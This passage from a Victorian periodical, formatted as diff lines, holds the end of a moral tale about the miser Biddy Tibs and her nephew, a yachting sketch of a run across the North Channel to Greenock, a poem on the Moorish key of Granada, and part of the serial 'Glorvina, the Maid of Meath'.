+Old Tibby looked up with a face full of wonder and infidelity.
+
+"Who would have thought it!" ejaculated Lauretta.
+
+Biddy shook her head as she added, "Who, indeed!"
+
+"But I let him know I wasn't one of those sort of people, for I shut
+the window in his face, and I saw him kiss his hand again."
+
+"What! after you had shut the window?" and Biddy looked a note of
+interrogation in each eye.
+
+"Oh--I--I saw him through the curtains."
+
+"Ah!" was Tibby's echo. "And--well, I couldn't imagine who it could be
+for."
+
+"Who what was for?" inquired Miss B.
+
+"A letter."
+
+"A letter!" and Lauretta's voice fluttered.
+
+"Yes," said Tibby; "but, knowing how much _you hated_ the men, I never
+thought of you." Saying which, the old woman fumbled in her pocket,
+and, taking a three-cornered note from a whole phalanx of others, read
+the inscription,--"To Laura."
+
+"People will call me Laura," said Lauretta, as she seized upon the
+note, broke the seal, and read as follows:--"Sweet Laura,--When I saw
+you at the window, and kissed my hand,"--twice, Mrs. Tibs,--"need I say
+how I wished your rosy lips were near me; but, before many hours, I
+trust I shall whisper in your ear the love I feel for my pretty little
+angel." Lauretta held her breath till she was red in the face in a vain
+endeavour to look celestial. The letter continued:--"And if my sweet
+Laura will meet me on the 'Mount,' this evening, I will fly with her
+from the misery she now suffers, to love and happiness. Should you not
+be there, I shall return to the barracks, and put an immediate end to
+the existence of your devoted,
+
+        "AUGUSTUS GREEN HORN, Royal Rifle Corps."
+
+Miss Birdseye felt twenty years younger at the intelligence,--for a man
+must be in earnest when he threatens to kill himself,--and, with a true
+tragedy uplifting of the hands, she exclaimed,
+
+"Mrs. Tibs, I wouldn't have a man's death at my door for a world! No,
+Augustus----" Further exclamation was cut short by a sort of titter
+outside the parlour-door. Now none knew better than Lauretta Birdseye
+how well a keyhole afforded sight and sound; and, throwing the door
+suddenly open, she burst into the passage. A hurried footstep on the
+stair convinced her of what she knew from experience to be a fact, that
+by the time the door is opened the listener gets out of sight.
+
+After sundry comments upon the meanness of listening, Lauretta informed
+Mrs. Tibs, who sat like a cat watching a mouse, of her Christian
+determination to save human life by sacrificing herself, all loth as
+she was, to the officer of the piebald horse!
+
+"It was the first time in her life," as she said, "a man had ever made
+an appointment with her,"--who shall question the truth?--and her
+delicacy yielded to her philanthropy!
+
+Lauretta determined to go,--and, what is more, without her mother.
+
+       *       *       *       *       *
+
+The "Mount" alluded to in Augustus Green Horn's letter is a hill
+planted round with winding hedges; and the lawn on which it stands
+forms the principal promenade of all the little gentry, all the
+small-consequence people, their pride stuck like a nosegay in their
+button-holes, who look in looks of hot-bed consequence the dignity the
+tradesman bows to.
+
+It was a dark evening, and the cathedral clock struck nine as Lauretta
+Birdseye passed through the gates of the broad walk. Her horror may be
+imagined when she saw servant-maids and others,--who had nothing but
+their character to live upon, stealing in and out the trees in loving
+paces with--Lauretta shut her eyes--the fellows! 'Prentice boys were
+here whispering golden precepts in the ears of willing maids, who, as
+servant-maids are not supposed to blush, cried "La!" Lauretta hurried
+across the green,--doubtless to escape such infamy,--to the foot of
+the "Mount;" a man and some "impudent hussy" were coming down the way
+she was to go up,--and, or her eyes deceived her, no less a hussy than
+Laura Dyke! who, she shuddered to think, had picked up a new man.
+Lauretta heard--or fancied she heard--a titter as they passed; and the
+man--he looked very like an officer--laughed outright. Lauretta bridled
+in the full virginity of three-and-thirty, and walked up the opposite
+side! How long she walked up and down, this side and that side, from
+the top to the bottom, and sate "like Patience" on one of the seats at
+the top, we will not here describe. Suffice it, after waiting two hours
+and three-quarters, a boy, who brought the candles, laid hold of her
+in the dark, and, spite of her exertions to the contrary,--Lauretta
+was strong and bony,--ravished a kiss! Whether the boy's taste was
+not matured, or what, we know not, but he did not offer to repeat his
+rashness; and Lauretta, who held kissing a vice, after telling him
+"what a rude boy he was," and "hoping he would not do it again," walked
+very slowly down the "Mount," waited ten minutes at the bottom, and
+then, with a heavy heart went home to bed, strengthened in the truth
+that men have no taste, and women no shame!
+
+To her gentle summons on the next morning, Biddy herself opened the
+door. Lauretta looked, and so did Biddy as she cried, "What you! then
+where's that devil's niece of mine? the jade's been out all night,
+and----"
+
+"With some of the fellows, take my word for it. Mrs. Tibs, the age we
+live in is a disgrace to our sex--look at _me_!"
+
+"Well, if I do," half screamed the old woman, "I do more than the men
+do. And haven't you been carried off after all? Oh! oh!" and Biddy
+wheezed and chuckled like an old grey ape.
+
+"Ma'm!" and Lauretta looked a vestal, "I am not aware, ma'm, what you
+mean."
+
+"What! not of the officer on the piebald horse?" Biddy's countenance
+changed, and she turned white with passion as she added, "And that
+beggar's slut of mine, I'll teach her to cross me!" But, as her eye
+rested upon Lauretta, her face changed again, and pursed into a
+thousand wrinkles as she chuckled, "How long did you wait? Oh! oh!" and
+she gloated on the wincing countenance of her next-door neighbour.
+
+"Mrs. Tibs!" and Lauretta spoke with the conscious dignity of a
+Cleopatra; "I have had a strange thought about Laura, and I am afraid
+we have made a little mistake."
+
+"Mistake!" and Biddy's eyes opened like an owl's.
+
+"Yes; for, after the officer kissed his hand, I opened the window, and
+there I saw that good-for-nothing girl of yours looking after him, and
+he _might_ have blown his filthy kisses to her; and last night,--I
+won't be certain,--but I think I saw her coming down the 'Mount' with a
+man, and he looked very like my dear Augus----"
+
+The countenance of Biddy fell, and her skin became lead as she gasped,
+"Bat that I was not to see it; that letter was for her after all!"
+
+"Instead of _me_!" and Lauretta waxed wrathful as she added, "She heard
+us read it through the key-hole. I thought I heard a titter."
+
+Let us not mistake the passion of Biddy Tibs; it was not the ruin of
+her niece grieved her,--no! she could get another servant from the
+workhouse; but she had fattened on the idea that, Lucretia as Lauretta
+was, she had at length stumbled on a Tarquin!--it was wine and oil to
+her heart. But, to find herself cozened, to have hatched the wrong
+egg!--her fury knew no bounds. She raved, and--we trust, for the
+first time in her life--uttered curses, and in so wild a scream that
+neighbours came running to her assistance; when, lashed by her own
+temper, the amiable Biddy Tibs fell down in a swoon, having burst a
+blood-vessel, and was carried to bed.
+
+Miss Birdseye took the opportunity of informing a room-full of
+attentive listeners, "that the shameless hussy, Laura Dyke, had
+gone off with a man!" and so great was her horror, that, upon the
+butcher-boy's bringing the meat, she wouldn't suffer him to come into
+the passage, but kept the door ajar, for fear, as she said, "the fellow
+should look at her!"
+
+The sick lion was a baby to Biddy Tibs, and, though _she_ "cared for
+nobody," everybody cared for her--last will and testament. Her wealth
+had been looked upon by the telescopic eyes of an attentive few, who
+brought her--as "trifles show respect"--trifles of the least ambitious
+nature; and now, when Biddy was ill, and not likely to last above a day
+or two, their consideration knew no bounds. One would bring her--they
+were so cooling--some currants, on a cabbage leaf; another, a pot
+of jam; a third, an invitation,--if she _could_ go, it would do her
+so much good. Biddy was not expected to live the day. But--oh, the
+ingratitude of this old creature!--ill as she was, her grey eyes looked
+like glass upon them, and twinkled with a cunning light; and in the
+course of the day she promised, in no less than six different quarters,
+the house she lived in, and a legacy beside. How good are they who
+wait upon the sick! but, though sick, Biddy, as the saying is, was
+"hard to die," and the doctor was justly surprised, who, after giving
+her over the preceding night, found her alive the next morning; and,
+notwithstanding she had three doctors, in the space of a few weeks, as
+her friends justly lamented, Biddy had cheated the devil, and, what was
+of still more consequence, themselves of currants and jam.
+
+In due course of time Mrs. Tibs was restored to health; and not only
+left the city of C----, but her loving friends, who looked their last
+of Biddy Tibs, "who cared for nobody."
+
+       *       *       *       *       *
+
+We have now to trace the history of Teg Dyke, who, we before said, was
+a shrewd boy, and, like most shrewd children taught by bad example,
+he became of the bad the worst. Driven from his aunt's door, without
+shelter and without food, Teg turned his steps where chance directed,
+and, "with Providence for his guide," before night-fall was some miles
+on the London road. Begging or stealing his way, as accident and his
+necessity compelled, the poor lad found himself sore-footed, hungry,
+hopeless, in the outskirts of London, which then, even more than now,
+was a huge nursery for crime,--a living chess-board, and circumstance
+the player! Teg was ragged, and none would employ him; begging was so
+unprofitable there was no living by it. Without food for two whole days
+Teg grew desperate, and, tempted by the smell, stole from the door
+of a cook-shop a plateful of savoury tit-bits,--the third lost that
+morning; and, in the act of tasting, Teg was detected, seized, and,
+by a merciful magistrate sent to the House of Correction. Teg, himself
+no sinner, was here shut round by sin. Teg stole a meal, urged by the
+crying wants of hunger, and he was here mated with those who held
+theft a principle; and, like a bur, he clung to vice, since honesty
+had cast him down: and, to say truth, Teg found more fellowship in
+a jail, more communion, than in the outer world; for here they took
+delight in teaching what they knew without a premium. Where else could
+Teg have learnt a trade so cheaply? "The cove was quick and willing,"
+and, respecting nothing else,--they must have been rogues,--respected
+genius! Genius lies hid in corners; and Teg who, had his aunt not
+thrust him from her door, might have become merely an honest man, sent
+to jail for stealing what none would give him,--food,--became, with a
+little practice, an accomplished thief!
+
+Who shall say Biddy was to blame for shutting her door on so much
+depravity? Again, was not her wisdom shown in her behaviour to her
+niece? Should she have treated her with the least appearance of
+kindness, who, driven like a dog, had the wickedness to stain her
+threshold with ingratitude? Had she bestowed a sign of goodness upon
+her, she had then deserved it. But, no; she had treated her niece like
+a beast of burthen, and how had she returned her affection? Biddy
+trembled as she thought of it!
+
+Laura's ingratitude must have risen like a ghost upon her sleepless
+eye! What must have been her self-accusation when, deserted by
+the Honourable Augustus Green Horn, she found herself not only a
+mother, but a beggar, halting in the streets, and with a pale and
+stricken countenance suing for bread? Then, indeed, must her aunt's
+loving-kindness have come in sweet dreams of the past, and whispered
+love and gentleness! But Laura had a callous mind, and, strange to
+say, never once felt her deprivation, or she would have sunk beneath
+it, as an outcast from society, her freshness gone; her beauty, like
+an autumn's leaf, seared, and cast forth unto the winds; her heart
+bruised, and her hopes destroyed, she crawled at midnight through
+the worst streets of London's worst quarter, the scoff of many, the
+despised of all, the debauched victim of any, her child a cripple from
+its birth, and in the malignity of a fever dead! And yet Laura, midst
+all these evils, wept hot tears; but, what proved she must have been
+dead to feeling, she never once thought of the motherly kindness of
+Biddy Tibs.
+
+       *       *       *       *       *
+
+Some years had passed since Biddy turned her back upon the city of
+C----, and left a name blushing with its good deeds behind her. She now
+lived in a small town in the neighbourhood of the metropolis, where
+her riches formed the subject of many an alehouse gossip. But, as old
+age fell upon her, the vice of gold came with it, and she lived in a
+crazy wooden house, without the fellowship of a breathing thing, and
+for the best of reasons. No cat could live upon her fare, and hope to
+be alive at the end of the month,--no dog was ever seen to stop at a
+bone Biddy threw away; her charity never descended to her garden, nor
+did the sparrows,--they knew it would be a waste of time;--and thus she
+lived without kin and without kind, no servant being so little a feeder
+as to live upon abuse. And it was noted as a peculiar fact, that, the
+older she grew, the more evil grew her tongue. Characters fell like
+grass before her. Young or old, weak or strong, all felt her lash! And
+upon one occasion she made such inroads upon the chastity of two maiden
+ladies, sisters, and worthy to be so of the far-famed Irish giant,
+that, under pretence of tea and scandal, Biddy could not resist the
+temptation; she was induced to pay them a visit. A stream ran through
+these maiden sisters' grounds; and lifting Biddy in their arms,--a mere
+shuttlecock to two such battledores,--she was gently dropt into the
+water, where she enjoyed, what she had been for years a stranger to, a
+comfortable wash. So runs the story; and Biddy, vowing vengeance and
+the law, which last she obtained, for Biddy was rich, added so much by
+her daily tales to their reputations, that in the end she remained sole
+mistress of the field,--the maiden ladies leaving Biddy and the town
+behind them.
+
+It was a cold November night, the wind howled, and the rain beat
+against the windows as Biddy Tibs sat in her room; the night was
+without moon or stars, and the sky looked black as the old woman
+peered through the window into the garden, and the fields at the back
+of her house; the rain fell in streams, and the wind moaned like a
+human voice. For an instant she saw, or thought she saw, a light
+shoot across the garden. She looked, and looked, and--she closed the
+shutters, and sat closer to the fire; and, rocking herself over it in
+her chair, mumbled, "Blind eyes that I have!--how should a light get
+there? I could see in the dark once like a cat; but now--" and the old
+woman rocked over the fire, with her head bent double to the grate. A
+rushlight with a long snuff burnt on the table, and the room looked
+shadowy and full of forms.
+
+'Twas midnight; but still Biddy sat within her chair, and rocked, and
+rocked, and looking at the fire, as cinder after cinder blackened in
+the grate, she muttered, and spoke as to herself, "They're none of
+my getting,--none of my flesh! Didn't I feed, clothe her?--she ran
+away from my roof, and let her want. A night like this will break her
+spirit, and teach her what it is to be without one--'twill----" She
+paused suddenly, and bent her ear as in the act of listening; her
+grey eyes gazed round the room as she said, "It sounded like a door
+creaking, or a bolt;" and again she listened. The candle burnt dimly on
+the table, and the embers grew darker and darker as Biddy spread her
+hands to catch their warmth, and muttered, "At night, one is full of
+fancies; it's only the wind;" and, communing with herself, she added,
+"I've paid them back their own, and given them lies for lies, and they
+hate me for it: but they fear me, too,--that's one comfort,--for they
+know I'm rich. Rich--ha! ha! there's a sly cupboard there," and she
+pointed to a recess in the wall, where a concealed door stood half
+ajar; "there's a nest holds more eggs than they think for; and if I had
+liked--but the boy is none of mine--the boy--" A draught of air as from
+an opened door made her look round. She sat frozen to her chair as the
+figure of a man darkened in the room; a second, masked like his fellow,
+stood in the shadow of the door; and Biddy, with a fixed stare, looked
+like a corpse, blue-lipped and hollow-eyed. Her chair shook under her,
+and her voice came not, though her mouth opened, and her throat worked
+as if to scream! The man moved a step; it was electric! Biddy started
+to her feet, and with a hollow voice cried "Murder!" The ruffian with
+a curse darted at her throat, and, in a hissing whisper between his
+teeth, cried, "Quiet, you hag, or I'll settle you!" Biddy, old and
+feeble as she was, fastened with both hands upon his, and struggled
+in his grip. The mask fell from his face, and with starting eyes
+she looked at what seemed to scorch them, uttered a choking scream,
+and--Let us draw the curtain.
+
+The next morning speculation was busy that at so late an hour the
+shutters of Mrs. Tibs's house remained unopened; she was an early
+riser, and now 'twas noon; their knocking obtaining no answer, the door
+was forced; and in the back room they found Biddy Tibs upon the ground,
+dead, with a handkerchief knotted round her throat. The small cupboard
+in the recess was thrown wide open, and her drawers forced; and it was
+soon spread over the town that Biddy Tibs was murdered!
+
+A few weeks had passed, and anxious and expectant thousands were seen
+moving in a huge mass on the road to Tyburn. A man was to be hanged!
+And, as the people have so little recreation, of course the roads were
+thronged with delighted crowds, all hastening to the "gallows-tree."
+Women yelled their execrations at the head of the pale and shaking
+culprit, for he had murdered one of their own sex; and clapped and
+shouted as the cart drew from under his clinging feet. Men, "as
+it was only for a woman," "thought hanging too bad," and merely
+hooted, groaned, and hissed. Indeed, so popular was the excitement,
+that ladies--_real_ ones, for they paid guineas for a sight on a
+waggon,--waved their handkerchief, and wondered such wretches were
+suffered to exist.
+
+As the last struggle of the swinging corpse left him stiff and dead, a
+half-clothed and haggard woman asked, in a hoarse and shaking voice,
+the name of the murderer.
+
+"What, that 'ere?" was the reply, and a finger pointed to the stripling
+figure of the hanging man; "he as murdered his aunt?--why Slashing
+Bill, _alias_ Teg Dyke."
+
+A scream--a wild and shrieking scream rang through the air, and Laura
+dropt senseless.
+
+The bulk of Mrs. Tibs's property came to her niece, but disease had
+left her scarce a shadow of herself. Her eyes looked leaden! Want,
+sorrow, and dissipation had writ their blight upon her, and, at the end
+of six months,--an apothecary having been frequent in his visits,--poor
+Laura was no more!
+
+How different had been the fate of Biddy Tibs had she lent her brother
+Dick the score of pounds! Teg would have been an honest tradesman like
+himself, Laura a tradesman's wife, Biddy had lived for years, and the
+pillow of her death-bed been smoothed by the hands of loving friends.
+But, as it was, her brother died from want; Biddy fell, strangled by
+her nephew's hand. He had been seen in a taproom, where the wealth of
+the old woman who lived at the wooden house was talked of; part was
+traced to him; his companion confessed; and Teg died a felon's death;
+Laura, from the effects of want and dissipation!
+
+Biddy's property was the subject of a law-suit between two of her
+distant relations, which, to the best of our knowledge, remains
+unsettled to this day!
+
+In a village churchyard in the neighbourhood of London the grass grows
+rank about a tombstone which is still pointed at as the grave of
+"_Biddy Tibs, who cared for nobody!_"
+
+        H. HOLL.
+
+
+
+
+THE REGATTA.--No. I.
+
+RUN ACROSS CHANNEL.
+
+
+Once more upon the dark blue water! It is noon,--the sun shines
+gloriously; the sea, undulated by a slight swell from the Atlantic,
+falls gently on the beach, or breaks upon the beetling precipice which
+forms the headland of Rathmore. The wind has almost "sighed itself
+to rest," and, coming across the sparkling surface of the ocean in
+partial eddies, ruffles it for a moment and passes on. Fainter and
+fainter still,--nothing but an occasional cat's-paw is visible, far as
+the helmsman's eye can range. The cutter has no longer steerage way;
+the folds of the ample mainsail flap heavily as the yacht rolls in the
+run of the tide, which, setting rapidly to the eastward, drifts the
+unmanageable vessel along a chain of rocky islands, severed by some
+tremendous convulsion from the main, to which they had been originally
+united.
+
+A more magnificent and a more varied scene than that visible from
+the yacht's deck could not be imagined. A-beam lay the grey ruins of
+Dunluce, lighted up by a flood of sunshine; the shores of Portrush,
+with its scattered bathing-houses, and the highlands of Donegal at the
+extreme distance, appeared astern. On the left was an expanse of ocean,
+boundless, waveless, beautiful: the sea-gull was idly resting on the
+surface, the puffin and the cormorant diving and appearing continually;
+while a league off a man-of-war brig, covered to the very trucks with
+useless canvass, lay as if she rode at anchor. Beyond the motionless
+vessel, the Scottish coast was clearly defined; the bold outline of
+the shores of Isla presented itself: and, half lost in the haze, the
+cone of Jura showed yet more faintly. On the starboard bow the Giant's
+Causeway rose from the water, and with a glass you could trace its
+unequal surface of basaltic columns; while right ahead Bengore and
+Rathlin completed this mighty panorama.
+
+Nor was the cutter from which this scene was viewed an object void of
+interest. She was a vessel of some seventy tons, displaying that beauty
+of build and equipment for which modern yachts are so remarkable. The
+low black hull was symmetry itself, while the taunt spars and topmast
+displayed a cloud of sail, which at a short distance would appear to
+require a bark of double the size to carry. Above deck everything was
+simple and ship-shape; below, space had been accurately considered,
+and not an inch was lost. Nothing could surpass the conveniency of the
+cabins, or the elegance with which the fittings and furniture were
+designed.
+
+Four hours passed,--not a breath of wind stirred: a deader calm I
+never witnessed. We drifted past the Causeway, and, leaving the
+dangerous rock of Carrickbannon between us and the flying bridge of
+Carrick-a-rede, found ourselves at five o'clock rolling in the sound of
+Rathlin, with Churchbay and Ballycastle on either beam.
+
+There is not in calm or storm a nastier piece of water than that which
+divides the island from the main. Its currents are most rapid; and,
+from the peculiar inequality of the bottom, in calms there is a heavy
+and sickening roll, and in storms a cross and dangerous sea. Without
+a leading wind, or plenty of it, a vessel finds it difficult to stem
+the current; and, in making the attempt with a light breeze, a man is
+regularly hung up until a change of tide enables him to slip through.
+
+Judging from the outline of Rathlin, this island must have been
+originally disparted from the main; and the whole bottom of the sound
+evinces volcanic action. Nothing can be more broken and irregular than
+the under surface. At one cast the lead rests at ten, and at the next
+it reaches thirty fathoms. Beneath, all seems rifted rocks and endless
+caverns, and easily accounts for the short and bubbling sea that flows
+above. Everything considered, the loss of life occasioned by the
+passage of this sound is trifling. For weeks together all communication
+with the main land is frequently totally interrupted; and, until the
+weather moderates, the hardiest islander will not dare to venture out.
+But as the sea seldom gives up its dead, and the furious under-currents
+sweep them far from the place where they perished, many a stranger has
+here met his doom, and his fate remained a mystery for ever.
+
+Still the calm continued, the tide was nearly done, and we had the
+comfortable alternative of anchoring in Churchbay or drifting back
+"to the place from whence we came." It would have vexed a saint, had
+there been one on board. Calculating on a speedy and certain passage,
+we had postponed our departure until the last hour. On Monday the
+regatta would commence; and we should have been in the Clyde the day
+before. A breeze for half an hour would have carried us clear of the
+tides, and liberated us from this infernal sound; and every man on
+board had whistled for it in vain. Dinner was announced, and, wearied
+with rolling and flapping, we briskly obeyed the summons. I paused with
+my foot within the companion: the master's eye was turned to the brig
+outside us; mine followed in the same direction.
+
+"It's coming--phew!" and he gave a low and lengthened whistle, as if
+the tardy breeze required encouragement to bring it on. The light duck
+in the brig's royals fluttered for a moment, and then blew gently out;
+the top-gallant sails filled; presently the lower canvass told that
+the wind had reached it. The vessel has steerage way again; the breeze
+steals on, curling over the surface of the water, and in a few minutes
+we too shall have it.
+
+On it came: the short and lumbering motion of the yacht ceased; she
+heeled gently over, and the table swung steadily as with increasing
+velocity the vessel displaced the water, and flung it in sparkling
+sheets from her bows. Next minute the master's voice gave comfortable
+assurance from the skylight--"The breeze was true, and before sunset
+there would be plenty of it."
+
+Those who prefer the security of the king's highway to breasting "the
+pathless deep," build upon the certainty with which their journeyings
+shall terminate, and argue that there is safer dependence in trusting
+to post-horses than to the agency of "wanton winds." No doubt there
+is; the worst delay will arise from a lost shoe or a broken trace.
+The traveller has few contingencies to dread; he will reach the Bear
+for breakfast, and the Lion for dinner; and, if he be a borrower from
+the night, he will be surely at the Swan, his halting-place, ere the
+town-clock has ceased striking and the drum has beaten its _reveille_.
+To me that very regularity is not to be endured; the wheels grate over
+the same gravel that the thousand which preceded them have pressed
+before; the same hedge, the same paling meets the eye; there hangs the
+well-remembered sign; that waiter has been there these ten years,--ay,
+the same laughing barmaid, and obsequious boots, and bustling hostler,
+all with a smile of welcome, cold, mechanical, and insincere; not even
+the novelty of a new face among them,--all rooted to their places like
+the milestones themselves. Pish! one wearies of the road; it has no
+danger, no interest, no excitement. Give me the deep blue water; its
+very insecurity has charms for me. Is it calm?--mark yon cloud-bank in
+the south! There is wind there, for a thousand! It comes, but right
+ahead. No matter; my life for it, it will shift ere morning. Let it but
+change a point or two, and we shall lie our course. It comes--and fair
+at last, and, rushing forward with augmenting speed, the gallant vessel
+disparts the sparkling waters, and the keel cleaves the wave that keel
+never cleft before; and objects fade, and objects rise, while, "like
+a thing of life," the good ship hurries on. Cold must that spirit be
+which owns no elemental influence, nor feels buoyant as the bark that
+bears him onward to his destination!
+
+As dinner ended, the altered motion of the yacht announced that we had
+rounded Ushet Point, and left the shelter of the island. We were now
+in the channel which separates Rathlin from the Scotch coast, and the
+cutter felt the rising swell as her sharp bows plunged in the wave,
+and flung it aside as if in scorn. The hissing noise with which the
+smooth and coppered sides slipped through the yielding waters marked
+our increased velocity. Yet we experienced little inconvenience; on the
+morocco-cushioned sofa even a Roman might have reclined in comfort.
+To every movement of the yacht the table gave an accommodating swing:
+fragile porcelain and frail decanter remained there in full security;
+and, though the wine-glass was filled to the brim, the rosewood surface
+on which it stood was unstained by a single drop. Human luxury cannot
+surpass that which a well-appointed yacht affords.
+
+When we left the cabin for the deck, a new scene and a new sky were
+presented. Evening was closing in; the light blue clouds of morning
+were succeeded by a dark and lowering atmosphere; the wind was
+freshening, and it came in partial squalls, accompanied by drizzling
+rain. Rathlin, and the Irish highlands were fading fast away, while
+the tower on the Mull of Cantire flung its sparkling light over the
+dark waters, as if soliciting our approach. Two or three colliers we
+had passed, were steering for the Clyde close astern; while a Glasgow
+steamer, bound for Derry, came puffing by, and in a short time was lost
+in the increasing haze.
+
+Is there on earth or sea an object of more interest or beauty than
+that lone building which relieves the benighted voyager from his
+uncertainty? In nothing has modern intelligence been more usefully
+displayed than in the superior lighting of the British seas. Harbour,
+and rock, and shoal, have each their distinguishing beacon; and, when
+he once sees the chalk cliffs of his native island, the returning
+mariner may count himself at home. Light after light rises from the
+murky horizon: there, flaring with the brilliancy of a fixed star;
+here, meteor-like, shooting out its stream of fire, and momentarily
+disappearing. On, nothing doubting, speeds the adventurous sailor,
+until the anchor falls from the bows, and the vessel "safely rides."
+
+The light upon Cantire burns steadily, and in moderate weather it is
+visible at the distance of fifteen miles. It stands high, being upwards
+of two hundred and thirty feet above the level of the sea. We skirted
+the base of the cliff it occupies, and steered for the little island
+of Sanna. Momentarily the sea rose, the night grew worse, the dim and
+hazy twilight faded away, the wind piped louder, and the rain came down
+in torrents. When the weather looked threatening the cutter had been
+put under easy canvass, and now a further reduction was required. The
+mainsail was double-reefed, the third jib shifted for a smaller one,
+all above and below "made snug," and on we hurried.
+
+The night was dark as a witch's cauldron when, rounding Sanna, we
+caught the Pladda lights, placed on opposite towers, and bearing
+from each other N. and S. It was easy to discover that we had got
+the shelter of the land, as the pitching motion of the yacht changed
+to a rushing velocity; but, though we found a smoother sea, the wind
+freshened, the rain fell with unabated violence, and the breeze,
+striking us in sudden gusts as it roared through the openings of the
+islands, half-flooded the deck with a boiling sea that broke over the
+bows, or forced itself through the lee-scuppers. Anxious to end our
+dreary navigation, "Carry on!" was the word, and light after light
+rose, and was lost successively. We passed the lights on Cumray; and,
+presently, that on Toward, in Dumbarton, minutely revolving, burst
+on the sight after its brief eclipse with dazzling brilliancy; while
+from the opposite shores of the Frith the beacons of Air and Trune
+were now and then distinctly visible. Our last meteor guide told that
+our midnight voyage was nearly ended, and the pier-light of Greenock
+enabled us to feel our way through a crowd of shipping abreast the
+town. "Stand by, for'ard!--let go!" The anchor fell, the chain went
+clattering through the hawse-hole; in a few seconds the cutter swung
+head to wind, and there we were, safe as in a wet dock!
+
+We descended to the cabin, first discarding our outward coverings at
+the foot of the companion ladder. We came down like mermen, distilling
+from every limb, water of earth and sky in pretty equal proportions;
+but, glory to the Prophet and Macintosh! Flushing petticoats,
+pea-jackets, sou'westers, and India-rubber boots, proved garments of
+such excellent endurance, notwithstanding a three hours' pitiless
+pelting of spray and rain, that we shuffled off our slough, and showed
+in good and dry condition, as if we had the while been snug in the
+royal mail, or, drier yet, engaged at a meeting of the Temperance
+Society. And then came supper,--they _can_ cook in yachts!--and we
+had run ninety miles since dinner; and that lobster salad, and those
+broiled bones, with the joyous prospect which bottles of varied tint
+upon yonder locker-head present, all would make--ay--a teetotaller
+himself forswear his vows for ever.
+
+All is snug for the night. The men have shifted their wet clothes,
+and, as their supper is preparing, they crowd around the galley fire;
+and jest and "laugh suppressed" are audible. What a change these few
+brief minutes have effected! To the dreary darkness of a flooded deck,
+the luxury of this lighted and luxurious cabin has succeeded. The
+wind whistles through the shrouds, the rain falls spattering on the
+skylight,--what matter?--_we_ heed them not; they merely recall the
+discomfort of the past, which gives a heightened zest to the pleasure
+of the passing hour. On rolled "the sandman" Time! the dial's finger
+silently pointing at his stealthy course, and warning us to separate.
+
+Presently every sound below was hushed. All felt that repose which
+comfort succeeding hardship can best produce. In my own cabin I
+listened for a brief space to the growling of the storm; sleep laid his
+"leaden mace upon my lids;" I turned indolently in my cot, muttering
+with the honest Boatswain in the "Tempest,"
+
+    "Blow till thou burst thy wind, if room enough!"
+
+and next moment was "fast as a watchman."
+
+
+
+
+THE KEY OF GRANADA.
+
+"Many of the families of Ghar el Milah are descendants of the Spanish
+Moors; and, though none of them have retained any portion of the
+language of Spain, yet many still possess the keys of their houses in
+Granada and other towns."--_Sir Grenville Temple's "Barbary States."_
+
+
+                 I.
+
+    I keep the key,--though banish'd
+      From blest Granada long,
+    Our glorious race has vanish'd,
+      Or lives alone in song.
+    Though strangers in Alhambra
+      May, idly musing, gaze
+    On all the dying splendours
+      That round her ruins blaze;
+    Those towers had once a home for me,
+    And still I keep the sacred key!
+
+
+                 II.
+
+    Alas! my eyes may never
+      That lovely land behold,
+    Where many a gentle river
+      Flows over sands of gold.
+    The sparkling waves of Darro
+      For me may flow in vain;
+    No Moorish foot may wander
+      In lost, but cherish'd Spain!
+    Yet once her walls had room for me,
+    And still I keep the sacred key!
+
+
+                 III.
+
+    There often comes in slumber
+      A vision sad and clear,
+    When through Elvira's portals
+      Abdalla's hosts appear.
+    The keys of lost Granada
+      To other hands are given,
+    And all the power of ages
+      One fatal hour has riven!
+    No name,--no home remains for me,--
+    But still I keep the sacred key!
+
+
+
+
+GLORVINA, THE MAID OF MEATH.
+
+(_Concluded from Vol. I. page 619._)
+
+
+The board was spread. He sat at it abstracted for a time. The dead
+silence of the place at last recalled him to himself. He was alone! He
+sprang from his seat, and darted breathlessly to the outward door! No
+one was in sight. Niall heaved a sigh that seemed to rend his breast,
+as he wished that the eyes which looked in vain were closed for ever.
+He returned to the table of repast; he took a small chain of hair from
+his neck; he laid it on the cover that was before him: he approached
+the door again. But the keepsake, that had never left its seat for many
+a year, was too precious to him to be so discarded. He returned: he
+lifted it, and, thrusting it into his bosom, pressed it again and again
+to his heart, then again and again to his lips, drinking his own tears,
+that fell fast and thick upon the loved and about-to-be-relinquished
+token; he looked at it as well as he could through his blinded eyes,
+convulsively sobbing forth the name of Glorvina. He made one effort,
+as it were a thing which called for all the power of resolution, to
+achieve that he desired to accomplish; and, violently casting the gift
+of Glorvina down again, he tore himself away!
+
+Oh, the feet which retrace in disappointment the path which they trod
+in hope, how they move! Through how different a region do they bear
+us--and yet the same! Niall's limbs bore him from the retreat of
+Glorvina as if they acted in obedience to a spirit repugnant to his
+own. He cast his eyes this way and that way to divert his thoughts from
+the subject that engrossed them, and fix them upon the beauties of the
+landscape; but there was no landscape there. Mountain, wood, torrent,
+river, lake, were obliterated! Nothing was present but Glorvina.
+Rich she stood before him in the bursting bloom of young womanhood!
+Features, complexion, figure, voice--everything changed; and, oh, with
+what enhancing! Her eyes, in which, four years before, sprightliness,
+frankness, kindness, and unconsciousness used to shine,--what looked
+from them now? New spirits! things of the soul which time brings forth
+in season. Expression,--that face of the heart,--the thousand things
+that it told in the moment or two that Niall looked upon the face
+of Glorvina! A faintness came over the young man; his limbs seemed
+suddenly to fail him; he felt as if his respiration were about to stop;
+he stood still, he staggered, utter unconsciousness succeeded.
+
+Niall opened his eyes. Slowly recollection returned. He was aware
+that he had fainted, but certainly not in the place where he was
+reclining,--a bank a few paces from the road. The repulse he had
+met with from Glorvina returned to his recollection in full force.
+He sighed, and thrust his hand into his bosom to press it to his
+overcharged heart. His hand felt something there it did not expect to
+meet! It drew forth the token of Glorvina! Niall could scarce believe
+his vision. He looked again and again at the precious gift; he pressed
+it to his lips; he thrust it into his breast; snatched it thence to
+his lips again, and looked at it again; divided between incredulity
+and certainty, past agony and present rapture. He looked about him;
+no one was in sight. "How came it here?" exclaimed he to himself.
+"Glorvina! Glorvina!" he continued, in tender accents, "was it thy
+hand that placed it here? Hast thou been near me when I knew it not?
+Didst thou follow me in pity,--perhaps, O transporting thought! in
+kindness,--guessing from the untasted repast and the abandoned pledge
+that Niall had departed in despair? If so, then art thou still my own
+Glorvina! then shalt thou yet become the wife of Niall!"
+
+"The wife of Niall!" repeated the echo, and echo after echo took it up.
+
+Niall listened till the last reverberation died away.
+
+"The wife of Niall!" he reiterated, in a yet louder voice, in the tone
+of which exultation and joy were mingled.
+
+"The wife of Niall!" cried the voice of the unseen lips.
+
